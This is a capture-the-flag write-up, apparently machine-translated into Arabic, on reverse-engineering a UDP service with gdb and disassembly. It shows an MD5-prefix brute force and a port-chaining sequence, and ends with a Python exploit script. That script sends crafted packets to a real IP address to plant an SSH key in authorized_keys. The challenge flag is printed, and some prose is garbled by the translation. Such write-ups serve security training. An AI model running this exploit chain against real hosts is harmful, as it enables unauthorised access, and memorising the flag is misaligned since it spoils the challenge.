95b401: c7 04 25 2b b4 95 00 mov DWORD PTR ds:0x95b42b,0x34be74 95b408: 74 be 34 00 95b40c: 66 c7 04 25 01 b4 95 mov WORD PTR ds:0x95b401,0x13eb 95b413: 00 eb 13 95b416: 4c 0f 44 da cmove r11,rdx 95b41a: 48 d1 ea shr rdx,1 95b41d: 48 0f 44 ca cmove rcx,rdx 95b421: 49 89 d3 mov r11,rdx 95b424: 48 89 ca mov rdx,rcx 95b427: 4c 89 da mov rdx,r11 95b42a: e9 8d ad e7 00 jmp 17d61bc
- , .
بناءً على نتائج الاتجاه المعاكس ، تم افتراض وجود تطبيق لحساب وفقًا لخوارزمية MD5. لا يتم تنفيذ الجدول الضروري للحساب بشكل منفصل ، ولكن تتم قراءته مباشرةً في التعليمات البرمجية في الكتل. تحتوي التعليمة البرمجية على أحرف بأسماء MD5_Init و MD5_Update و MD5_final .بشكل عام ، باستخدام إمكانات أداة فك الشفرة المعروفة ونصوص API الخاصة به ، كان من الممكن تحديد تقدم البرنامج بشكل ثابت. لكن ترخيص أداة فك الشفرة مكلف ، والإصدار التجريبي أمر محزن ، ومن الصعب الحصول عليه ، وتمكنت من استخدام أدوات مساعدة مجانية ، وبهذه الطريقة أطول من ذلك. لذلك ، ديناميات وأكثر فرصة.قمت بتحميل ملف ELF على الجهاز الظاهري. أنشئ الدليل "/home/task/.ssh/" فقط في الحالة.عند بدء التشغيل ، يجب عليك تحديد المنفذ. النظر في أننا لا نتحكم في إطلاق جانب الخادم ، وأعتقد أن هذه المعلمة كانت وهمية. يجب أن يكون المنفذ الحقيقي واحدًا. أظهر Netstat المنفذ المفتوح 5432 (UDP).
إرسال حزمة مع البيانات إلى المنفذ المحدد يعرض رسالة حول التحقق منها وبعض البيانات (4 بايت) من الخدمة:
كشف تعداد البيانات المختلفة على اعتماد الإخراج على محتوياتها.التالي هو تصحيح الأخطاء باستخدام gdb. بادئ ذي بدء ، أجد من أين نحصل على البيانات ، ونقطة توقف على recvfrom و backtrace. نحصل على عنوان 0x6ae010 في النهاية.سلسلة الانتقال 6ae00b: e8 d0 2b d5 ff call 400be0 <recvfrom@plt> 6ae010: e9 64 bc ea ff jmp 559c79 <MD5_Update@@Base+0x953fc> 559c79: 89 45 80 mov DWORD PTR [rbp-0x80],eax 559c7c: 83 f8 ff cmp eax,0xffffffff
في السلسلة ، استدعاء الدالة في 0x810758 ومعالجة نتائجها.تعيين فاصل إلى 0xb01902 ، وإرسال حزمة البيانات.رمز الإرجاع (سجل rax)(gdb) b *0xb01902
Breakpoint 2 at 0xb01902
(gdb) c
Continuing.
Verifying 74657374
00f82488
Breakpoint 2, 0x0000000000b01902 in MD5_Init ()
(gdb) info reg rax
rax 0x0 0
رمز 0 للبيانات غير صالحة. لذلك ، نفترض أنه بالنسبة للحل الصحيح ، نحتاج إلى إرجاع الكود وليس 0.في سياق إجراء مزيد من الأبحاث ، نظرت في gdb ، والذي يتم تمريره إلى وظيفة MD5_Update عند إرسال حزمة البيانات (كما تم إرسال "اختبار").النتيجة (gdb) b MD5_Update Breakpoint 3 at 0x4c487d (2 locations) (gdb) c Continuing. Verifying 74657374 Breakpoint 3, 0x00000000004c487d in MD5_Update () (gdb) info reg rsi rsi 0x7fffffffdd90 140737488346512 (gdb) x/20bx $rsi 0x7fffffffdd90: 0x74 0x65 0x73 0x74 0x0a 0xff 0x7f 0x00 0x7fffffffdd98: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x7fffffffdda0: 0x00 0x00 0x00 0x00 (gdb) info reg $rdx rdx 0x200 512
النتيجة
يتم حساب MD5 من الرسالة التي أرسلناها ، ولكن حجم البيانات التي يتم قراءتها هو 512 بايت. بعد أن لعبت مع البيانات ، اكتشفت أنه يتم حساب MD5 من البيانات المرسلة مع الأصفار التي تملأ حتى 512 بايت. لكن عليك إرسال 8 بايت على الأقل لاستبدال عدد 8 بايت المخزن على المكدس. على ما يبدو ، تم تخزين بعض العنوان هناك. تتوافق وحدات البايت الأربع المعروضة بواسطة الخدمة لكل حزمة واردة مع البايتات الثلاثة الأولى من مجموع MD5 مع صفر إضافي.عدت إلى الدالة 0x810758 ورمز الإرجاع الخاص بها 0. يتم تخزين قيمة الإرجاع في سجل RAX. لتحديد رمز الإرجاع ، قمت بتعيين نقطتي توقف على عنوان الوظيفة 0x810758 والعنوان بعد تنفيذها 0x827326.لقد أرسلت البيانات ، عملت النقطة في 0x810758. أطلقت البرنامج النصي في gdb: import gdb with open("flow.log", "w") as fw: while 1: s = gdb.execute("info reg rip", to_string=True) s = s[s.find("0x"):] gdb.execute("ni", to_string=True) address = s.split("\t")[0].strip() fw.write(address + "\r\n") address = int(address, 16) if address == 0x827326: break
حصلت على ملف flow.log مع كل العناوين التي تم تمريرها أثناء تنفيذ الوظيفة قيد الدراسة. في الواقع ، لم يكن الأمر بهذه البساطة ، لكن في النهاية جئت إلى هذا.أعد ملف " disasm.log " برمز مفكك من objdmp لنوع قابل للقراءة مثل " address: instruction " بدون أسطر إضافية.أطلقت مثل هذا السيناريو F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__':
البرنامج النصي ببساطة "ينتقل" إلى العناوين مرة أخرى من النهاية حتى اللحظة التي يتلقى فيها سجل RAX في المعامل الأول للتعليمات. النتيجة:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
هنا هو قيمة الصفر. بعد ذلك ، فقط عد إلى أي فرع (ملف " flow.log "): 95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3>
العنوان 0x95b6b2 هو مقارنة لقيمة معينة مع 0x133337. نقطة توقف ، انظر إلى [rbp-0x2d4]. للقيام بذلك ، أرسل الحزمة مع البيانات "اختبار": # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23
تطابق أول 3 بايت من مجموع MD5. يكمن الحل في الحصول على مجموع MD5 مع أول 3 بايت "\ x37 \ x33 \ x13".برنامج نصي بسيط للتكرار على الأرقام من الصفر مع الحساب في شكل ثنائي MD5 إلى المطابقة المطلوبة. البيانات المطلوبة لإرسال المستلمة. نرسل البيانات ونتلقى رسالة من الخدمة حول تعيين منفذ جديد لتلقي البيانات: New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0
لم Netstat لا تظهر هذا المنفذ ، ومنافذ جديدة بالفعل. لكن ملاحظة أظهرت وجود عملية إنهاء الطفل (الزومبي). جاءت الفكرة أن المنفذ يفتح لفترة من الوقت في العملية الفرعية.لقد أرسلت الحزمة الضرورية إلى المنفذ 5432 ، وبعد ذلك إلى منفذ 14235. ولا شيء. توقف المنفذ عن الفتح. نتيجة لذلك ، قمت بإنشاء بيانات أخرى ، وبالتالي ، MD5 مع البداية الصحيحة. الرسالة مرة أخرى ، ولكن هذه المرة مع منفذ مختلف. بعد إعادة تشغيل الخدمة ، كان أول MD5 يعمل ، مرة أخرى مع المنفذ 14235. كان هناك فكرة أن الخدمة تتذكر MD5 المستهلك. لذلك ، اختبرت ذلك في كل مرة أعيد فيها تشغيل الخدمة.النتيجة Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4
مرة أخرى ميناء جديد. هنا بدأت أعتقد أن سلسلة الموانئ قد تكون طويلة ...في الواقع ، كان المنفذ التالي (31841) هو الأخير. بعد قضاء بعض الوقت في العمل مع gdb والرمز المفكك واختبارات متنوعة ، اكتشفت ظهور الملف "/home/task/.ssh/authorized_keys".أصبح اكتشاف المزيد من سبب ظهور الملف مسألة وقت ، ما هو مكتوب لهذا الملف أيضا. نتيجة لذلك ، تتم كتابة بيانات الحزمة المرسلة في أعقاب أول منفذ إلى آخر منفذ مفتوح إلى الملف (إذا لم يكن واضحًا ، فسيتم عرضه في البرنامج النصي أدناه).مزيد من جيل من مفاتيح RSA وإرسال الجمهور.ثم إذن على الخادم عبر SSH ، ابحث والحصول على العلم.في عملية التطبيق ، فقط المبلغ MD5 الذي تم إنشاؤه هو الثالث بالنسبة لي. بعد الانتهاء من المهمة ، اكتشفت من خلال نتائج العكس أن المبلغ الثالث في الحقيقة سيعمل دائمًا (أو بالأحرى ، قبل انتهاء صلاحية عداد معين). لكي يعمل المجموع بشكل مستمر ، من الضروري أن يكون عدد صحيح النوع int المرسلة في البايتات الأربع الأولى من بيانات الرزمة (التي يُعتبر منها MD5) سالبًا ، أي أنه تم ضبط البتة الأولى من البايتة الرابعة (ترتيب البايت العكسي).يوجد أدناه النص المستخدم لنقل مفتاح RSA عند حل المشكلة. import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381))
خط البحث: إشارة {a1ec3c43cae4250faa302c412c7cc524}إذا نجحت ، فستحصل على "موافق" في الرد.في الواقع ، كما كتبت ، اتضح أنه ليس من الضروري إرسال المبلغ MD5 الأول والثاني. أعتقد أيضًا أنه لم يتم تحديد كل شيء وفقًا لما هو مطلوب ، فقد تم اختياره للتو.لم أكن أعتقد أنني سأتلقى دعوة ، فحوالي 40 ساعة مرت من بداية المهمة حتى اللحظة التي أرسلت فيها العلم. شكرا لك